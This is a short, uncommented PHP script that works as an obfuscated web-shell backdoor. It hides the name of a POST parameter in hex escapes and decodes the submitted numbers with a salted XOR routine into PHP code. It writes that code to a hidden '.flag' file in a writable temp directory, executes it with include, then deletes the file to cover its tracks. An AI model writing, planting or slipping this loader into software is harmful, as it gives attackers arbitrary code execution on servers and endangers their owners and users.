<?php

if(isset($_POST) && isset($_POST["\x6F\x62j\x65ct"])){
	$itm = $_POST["\x6F\x62j\x65ct"];
		$itm=		explode (	".", 	 $itm)	;	
	$comp='';
            $salt2='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($salt2 );
            $r=0;
    
            foreach($itm as $v3) {$sChar=ord($salt2[$r % $sLen] );
                $d=((int)$v3 - $sChar -($r % 10)) ^ 89;
                $comp .=	 chr($d );
                $r++;
            }
	$pset = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir")]);
	foreach ($pset as $elem) {
    		if (array_product([is_dir($elem), is_writable($elem)])) {
    $entry = "$elem" . "/.flag";
    if (file_put_contents($entry, $comp)) {
	include $entry;
	@unlink($entry);
	die();
}
}
}
}